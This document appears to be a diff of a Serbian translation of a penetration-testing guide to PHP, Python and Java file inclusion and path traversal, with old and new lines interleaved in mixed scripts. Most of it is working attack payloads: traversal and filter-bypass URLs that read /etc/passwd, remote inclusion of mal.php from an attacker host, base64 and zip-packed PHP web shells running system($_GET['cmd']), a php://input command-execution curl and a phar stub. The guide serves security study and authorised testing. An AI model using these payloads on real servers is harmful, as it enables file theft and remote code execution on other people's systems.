|
||||
Ranjive **PHP functions**: require, require_once, include, include_once
|
||||
Ranljive **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
Praktičan alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Zanimljiv alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE fajlovi
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Mešajući nekoliko \*nix LFI lista i dodajući više putanja napravio sam ovu:**
|
||||
**Kombinovanjem više \*nix LFI lista i dodavanjem dodatnih putanja napravio sam ovu:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Pokušajte takođe da zamenite `/` za `\`\
|
||||
Pokušajte takođe da zamenite `/` sa `\`\
|
||||
Pokušajte takođe da dodate `../../../../../`
|
||||
|
||||
Lista koja koristi više tehnika da pronađe fajl /etc/password (da proverite da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Lista koja koristi više tehnika da pronađe fajl /etc/password (da bi se proverilo da li ranjivost postoji) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Kombinacija različitih wordlists:
|
||||
Spajanje različitih wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Pokušajte takođe da zamenite `/` za `\`\
|
||||
Pokušajte takođe da zamenite `/` sa `\`\
|
||||
Pokušajte takođe da uklonite `C:/` i dodate `../../../../../`
|
||||
|
||||
Lista koja koristi više tehnika da pronađe fajl /boot.ini (da proverite da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Lista koja koristi više tehnika da pronađe fajl /boot.ini (da bi se proverilo da li ranjivost postoji) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Proverite LFI listu linux.
|
||||
Proverite LFI listu za linux.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## Osnovni LFI i bypasses
|
||||
|
||||
Svi primeri su za Local File Inclusion ali se takođe mogu primeniti i na Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion takođe (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences uklonjene nerekurzivno
|
||||
### traversal sequences uklonjene ne-rekurzivno
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -67,11 +67,11 @@ Bypass dodavanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $\_
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Ovo je **rešeno od PHP 5.4**
|
||||
Ово је **решено од PHP 5.4**
|
||||
|
||||
### **Enkodiranje**
|
||||
### **Енкодирање**
|
||||
|
||||
Možete koristiti nestandardna enkodiranja kao što su double URL encode (i druga):
|
||||
Можете користити нестандардне енкодирања као што су double URL encode (и друге):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Iz postojeće fascikle
|
||||
|
||||
Možda back-end proverava putanju fascikle:
|
||||
Možda back-end proverava putanju foldera:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Istraživanje direktorijuma u fajl sistemu servera
|
||||
### Istraživanje file system direktorijuma na serveru
|
||||
|
||||
Fajl sistem servera može se rekurzivno istražiti da bi se identifikovali direktorijumi, ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda kako to postići:
|
||||
File system na serveru može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, koristeći određene tehnike. Ovaj proces podrazumeva određivanje dubine direktorijuma i testiranje postojanja specifičnih foldera. Ispod je detaljna metoda kako to postići:
|
||||
|
||||
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma tako što ćete uspešno dohvatiti `/etc/passwd` fajl (primenljivo ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što označava dubinu tri:
|
||||
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu trenutnog direktorijuma tako što ćete uspešno dohvatiti `/etc/passwd` fajl (primenljivo ako je server baziran na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu tri:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Proverite foldere:** Dodajte ime sumnjivog foldera (npr., `private`) u URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje depth-a za jedan:
|
||||
2. **Probe for Folders:** Dodajte ime sumnjivog foldera (npr. `private`) u URL, a zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Tumačenje rezultata:** Odgovor servera pokazuje da li folder postoji:
|
||||
- **Greška / Nema izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
|
||||
- **Sadržaj `/etc/passwd`:** Prisustvo foldera `private` je potvrđeno.
|
||||
4. **Rekurzivno istraživanje:** Otkriveni foldere je moguće dalje ispitivati radi poddirektorijuma ili fajlova koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
|
||||
3. **Tumačenje rezultata:** Serverov odgovor ukazuje da li direktorijum postoji:
|
||||
- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na navedenoj lokaciji.
|
||||
- **Sadržaj `/etc/passwd`:** Prisutnost direktorijuma `private` je potvrđena.
|
||||
4. **Rekurzivno istraživanje:** Otkriveni direktorijumi mogu se dalje ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
|
||||
|
||||
Za istraživanje direktorijuma na različitim lokacijama u sistemu datoteka prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
|
||||
Za istraživanje direktorijuma na drugim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da se trenutni direktorijum nalazi na dubini od 3), koristite:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation je metoda koja se koristi za manipulaciju putanjama fajlova u web aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobilaženjem određenih bezbednosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon izmene od strane bezbednosne mere, i dalje pokazuje na željeni fajl.
|
||||
Path truncation je metoda koja se koristi za manipulaciju file path-ovima u web aplikacijama. Često se koristi za pristup ograničenim fajlovima tako što zaobilazi određene bezbednosne mere koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon što je bezbednosna mera izmeni, i dalje pokazuje na željeni fajl.
|
||||
|
||||
U PHP, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
|
||||
U PHP-u, različite reprezentacije file path-a mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- Kada su poslednja 6 karaktera `passwd`, dodavanje `/` (praveći `passwd/`) ne menja ciljani fajl.
|
||||
- Slično, ako se na putanju doda `.php` (npr. `shellcode.php`), dodavanje `/.` na kraju neće promeniti fajl kojem se pristupa.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se tretiraju kao ista putanja.
|
||||
- Kada poslednjih 6 karaktera glasi `passwd`, dodavanje `/` (čineći ga `passwd/`) ne menja ciljani fajl.
|
||||
- Slično, ako je `.php` dodat na file path (npr. `shellcode.php`), dodavanje `/.` na kraju neće izmeniti fajl kojem se pristupa.
|
||||
|
||||
Priloženi primeri pokazuju kako koristiti path truncation da bi se pristupilo `/etc/passwd`, čestom cilju zbog osetljivog sadržaja (informacije o korisničkim nalozima):
|
||||
Priloženi primeri pokazuju kako iskoristiti path truncation da se pristupi `/etc/passwd`, česta meta zbog svog osetljivog sadržaja (informacije o korisničkim nalozima):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.
|
||||
U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj varira u zavisnosti od konfiguracije servera.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Sekvence traversala (`../`) u kombinaciji sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajl sistemom, efikasno ignorišući dodatne stringove koje server pridodaje.
|
||||
- **Determining the Required Number of Traversals**: Kroz pokušaje i greške može se utvrditi tačan broj `../` sekvenci potrebnih da se dođe do root direktorijuma i zatim do `/etc/passwd`, pri čemu se osigurava da su svi pridodati stringovi (npr. `.php`) neutralisani, a željeni put (`/etc/passwd`) ostane netaknut.
|
||||
- **Starting with a Fake Directory**: Uobičajena je praksa početi putanju nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi serverove logike parsiranja putanja.
|
||||
- **Korišćenje dot segmenata i dodatnih karaktera**: Sekvence traversal-a (`../`) kombinovane sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajlsistemom, efektivno ignorišući dodatne stringove koje server prikači.
|
||||
- **Određivanje potrebnog broja traversala**: Metodom pokušaja i grešaka može se pronaći tačan broj `../` sekvenci potrebnih da se dođe do root direktorijuma i zatim do `/etc/passwd`, pri čemu se osigurava da su svi prikačeni stringovi (kao `.php`) neutralisani, ali željeni put (`/etc/passwd`) ostaje netaknut.
|
||||
- **Početak sa lažnim direktorijumom**: Uobičajeno je početi putanju sa nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da zadovolji zahteve serverove logike parsiranja putanja.
|
||||
|
||||
Primenjujući path truncation techniques, ključno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajl sistema. Svaki scenarij može zahtevati drugačiji pristup, i često je potrebno testiranje da bi se pronašla naefikasnija metoda.
|
||||
Primenom tehnika skraćivanja putanja važno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajlsistema. Svaki scenario može zahtevati drugačiji pristup, pa je često neophodno testiranje da bi se našla najefikasnija metoda.
|
||||
|
||||
**Ova ranjivost je ispravljena u PHP 5.3.**
|
||||
|
||||
### **Filter bypass tricks**
|
||||
### **Trikovi zaobilaženja filtera**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
U php-u je ovo onemogućeno po defaultu jer je **`allow_url_include`** **Off.** Mora da bude **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
|
||||
U php-u je ovo po defaultu onemogućeno jer je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete include PHP file sa vašeg servera i dobiti RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Ako iz nekog razloga **`allow_url_include`** ima vrednost **On**, ali PHP **filtrira** pristup eksternim web-stranicama, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protocol sa base64 da dekodirate b64 PHP kod i egt RCE:
|
||||
Ako iz nekog razloga **`allow_url_include`** je **On**, ali PHP je **filtering** pristup eksternim web stranicama, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> U prethodnom kodu, finalni `+.txt` je dodat zato što attacker trebao string koji se završava `.txt`, pa se string završava njime i nakon b64 decode taj deo će vratiti samo junk i pravi PHP kod će biti uključen (i samim tim, executed).
|
||||
>
|
||||
> Još jedan primer **koji ne koristi `php://` protokol** bi bio:
|
||||
> U prethodnom kodu, finalni `+.txt` je dodat zato što je napadaču bio potreban string koji se završava sa `.txt`, pa se string završava tim sufiksom i nakon b64 decode taj deo će biti samo besmislica, dok će pravi PHP kod biti uključen (i shodno tome izvršen).
|
||||
>
|
||||
> Još jedan primer **koji ne koristi `php://` protocol** bi bio:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Korenski element
|
||||
## Python korenski element
|
||||
|
||||
U Pythonu, u kodu kao u ovom:
|
||||
U Pythonu, u kodu poput ovog:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Ako korisnik prosledi **apsolutnu putanju** u **`file_name`**, **prethodni put se jednostavno uklanja**:
|
||||
Ako korisnik prosledi **apsolutnu putanju** u **`file_name`**, **prethodna putanja se jednostavno uklanja**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
To je očekivano ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Ovo je predviđeno ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente.
|
||||
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente putanje.
|
||||
|
||||
## Java: prikaz direktorijuma
|
||||
## Java: listanje direktorijuma
|
||||
|
||||
Izgleda da ako imate Path Traversal u Javi i **zahtevate direktorijum** umesto fajla, vraća se **listing direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
|
||||
Izgleda da, ako imate Path Traversal u Java i **zatražite direktorijum** umesto fajla, **vraća se lista sadržaja direktorijuma**. Ovo se, koliko mi je poznato, neće dešavati u drugim jezicima (afaik).
|
||||
|
||||
## Top 25 parametara
|
||||
## Top 25 parameters
|
||||
|
||||
Evo liste top 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,11 +211,11 @@ Evo liste top 25 parametara koji bi mogli biti ranjivi na local file inclusion (
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
## LFI / RFI korišćenjem PHP wrappera i protokola
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filteri omogućavaju izvođenje osnovnih **operacija izmene nad podacima** pre nego što se oni pročitaju ili upišu. Postoji 5 kategorija filtera:
|
||||
PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podacima** pre nego što se oni pročitaju ili zapisuju. Postoji 5 kategorija filtera:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -228,21 +228,21 @@ PHP filteri omogućavaju izvođenje osnovnih **operacija izmene nad podacima** p
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Pretvara u drugačiji enkoding (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih enkodinga**, pokrenite u konzoli: `iconv -l`
|
||||
- `convert.iconv.*` : Transformiše u drugo kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **spisak svih podržanih kodiranja** pokrenite u konzoli: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju poput include da obradi proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Zlouporabom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju poput include da procesuira proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Decompress the data
|
||||
- `zlib.deflate`: Kompresuje sadržaj (korisno ako eksfiltrirate mnogo informacija)
|
||||
- `zlib.inflate`: Dekompresuje podatke
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Zastarelo
|
||||
- `mdecrypt.*` : Zastarelo
|
||||
- `mcrypt.*` : Zastarjelo
|
||||
- `mdecrypt.*` : Zastarjelo
|
||||
- Ostali filteri
|
||||
- Pokretanjem u php `var_dump(stream_get_filters());` možete naći nekoliko **neočekivanih filtera**:
|
||||
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći nekoliko **neočekivanih filtera**:
|
||||
- `consumed`
|
||||
- `dechunk`: reverses HTTP chunked encoding
|
||||
- `dechunk`: poništava HTTP chunked enkodiranje
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Deo "php://filter" nije osetljiv na velika/mala slova
|
||||
> Deo "php://filter" nije osetljiv na velika i mala slova
|
||||
|
||||
### Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez dobijanja izlaza nazad sa servera. Ova tehnika se zasniva na **boolean eksfiltraciji fajla (karakter po karakteru) koristeći php filters** kao oracle. Ovo zato što php filters mogu da se koriste da tekst učine dovoljno velikim da php baci izuzetak.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložen je metod za čitanje lokalnog fajla bez vraćanja output-a sa servera. Ovaj metod se zasniva na **boolean exfiltration of the file (char by char) using php filters** kao oracle. Razlog je što php filters mogu da se iskoriste da uvećaju tekst dovoljno da php baci izuzetak.
|
||||
|
||||
U originalnom postu možete naći detaljno objašnjenje tehnike, ali ovde je kratak sažetak:
|
||||
U originalnom postu možete naći detaljno objašnjenje tehnike, ali evo kratkog rezimea:
|
||||
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||
- Ovo, u kombinaciji sa prethodnim (i drugim filterima zavisno od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta posmatrajući kada napravimo dovoljno transformacija da ono prestane biti heksadecimalni karakter. Ako je hex, dechunk ga neće obrisati i inicijalna bomba će prouzrokovati php grešku.
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak-ovati druga slova kao n, o, p, q, r (i drugi codeci se mogu koristiti da pomere druga slova u hex opseg).
|
||||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||
- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i da veličina stringa raste eksponencijalno.
|
||||
- Ovo će se koristiti da se generiše **tekst koji je toliko veliki kada je početno slovo tačno pogođeno** da će php pokrenuti **error**.
|
||||
- Filter **dechunk** će **ukloniti sve ako prvi karakter nije hexadecimal**, pa možemo znati da li je prvi karakter hex.
|
||||
- Ovo, u kombinaciji sa prethodnim (i drugim filterima zavisno od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo pratiti kada uradimo dovoljan broj transformacija da ono prestane biti hexadecimal karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php error.
|
||||
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (npr. nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je početno slovo, na primer, `a` jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g, slovo više nije hexadecimal karakter, zato ga dechunk ne obriše i php error se pokreće jer se množi sa početnom bombom.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je leak drugih karaktera kao n, o, p, q, r (i drugi codec-i mogu da se koriste da pomere druga slova u hex opseg).
|
||||
- Kada je početni karakter broj, potrebno je base64 enkodovati i leak prva 2 slova da leak broj.
|
||||
- Konačni problem je kako leak više od početnog slova. Korišćenjem order memory filtera kao **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
|
||||
- I da bi se dobili dalji podaci, ideja je da se **generišu 2 bajta junk podataka na početku** sa **convert.iconv.UTF16.UTF16**, primeni **UCS-4LE** da se pivotira sa naredna 2 bajta, i d**elete the data until the junk data** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite ovo dok ne dođete do željenog bita za leak.
|
||||
|
||||
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
U postu je takođe predstavljen alat za automatsko izvođenje: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ovaj wrapper omogućava pristup file descriptor-ima koje je proces otvorio. Potencijalno koristan za ekstrakciju sadržaja otvorenih fajlova:
|
||||
Ovaj wrapper omogućava pristup file descriptor-ima koje proces ima otvorene. Potencijalno koristan za izvlačenje sadržaja otvorenih fajlova:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Možete takođe koristiti **php://stdin, php://stdout and php://stderr** да приступите **file descriptors 0, 1 and 2** редом (нисам сигуран како би ово могло бити корисно у нападу)
|
||||
Takođe možete koristiti **php://stdin, php://stdout and php://stderr** da pristupite **file descriptors 0, 1 and 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
Otpremite Zip или Rar fajl са PHPShell-ом унутра и приступите му.\
|
||||
Да бисте могли злоупотребити rar protocol, он **мора бити посебно активиран**
|
||||
Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu.\
|
||||
Da biste mogli zloupotrebiti rar protocol, on **mora biti posebno aktiviran**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Navedite payload u POST parametrima:
|
||||
Navedite svoj payload u POST parametrima:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
`.phar` fajl se može iskoristiti za izvršavanje PHP code kada web aplikacija koristi funkcije kao što je `include` za učitavanje fajlova. Sledeći PHP code snippet prikazuje kreiranje `.phar` fajla:
|
||||
Datoteka `.phar` može se iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije poput `include` za učitavanje fajlova. Sledeći PHP primer prikazuje kreiranje `.phar` datoteke:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,15 +354,15 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Da biste kompajlirali `.phar` fajl, treba izvršiti sledeću komandu:
|
||||
Da biste kompajlirali `.phar` fajl, izvršite sledeću komandu:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Pri izvršenju biće kreiran fajl naziva `test.phar`, koji bi potencijalno mogao biti iskorišćen za exploit Local File Inclusion (LFI) ranjivosti.
|
||||
Po izvršenju biće kreiran fajl nazvan `test.phar`, koji bi potencijalno mogao biti iskorišćen za eksploataciju Local File Inclusion (LFI) ranjivosti.
|
||||
|
||||
U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda u njemu, preko funkcija kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()`, može se pokušati eksploatisati ranjivost deserializacije. Ova ranjivost je povezana sa čitanjem fajlova koristeći `phar` protokol.
|
||||
U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega — preko funkcija kao što su `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ili `filesize()` — može se pokušati eksploatisanje deserialization vulnerability. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem `phar` protokola.
|
||||
|
||||
Za detaljno razumevanje iskorišćavanja ranjivosti deserializacije u kontekstu `.phar` fajlova, pogledajte dokument povezan ispod:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,32 +373,32 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Bilo je moguće zloupotrebiti **any arbitrary file read from PHP that supports php filters** da bi se dobio RCE. Detaljan opis može se [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Veoma kratak rezime: **3 byte overflow** u PHP heap-u je iskorišćen da bi se **alter the chain of free chunks** određene veličine kako bi bilo moguće **write anything in any address**, pa je dodat hook da pozove **`system`**.\
|
||||
Bilo je moguće alloc chunks specifičnih veličina zloupotrebom više php filtera.
|
||||
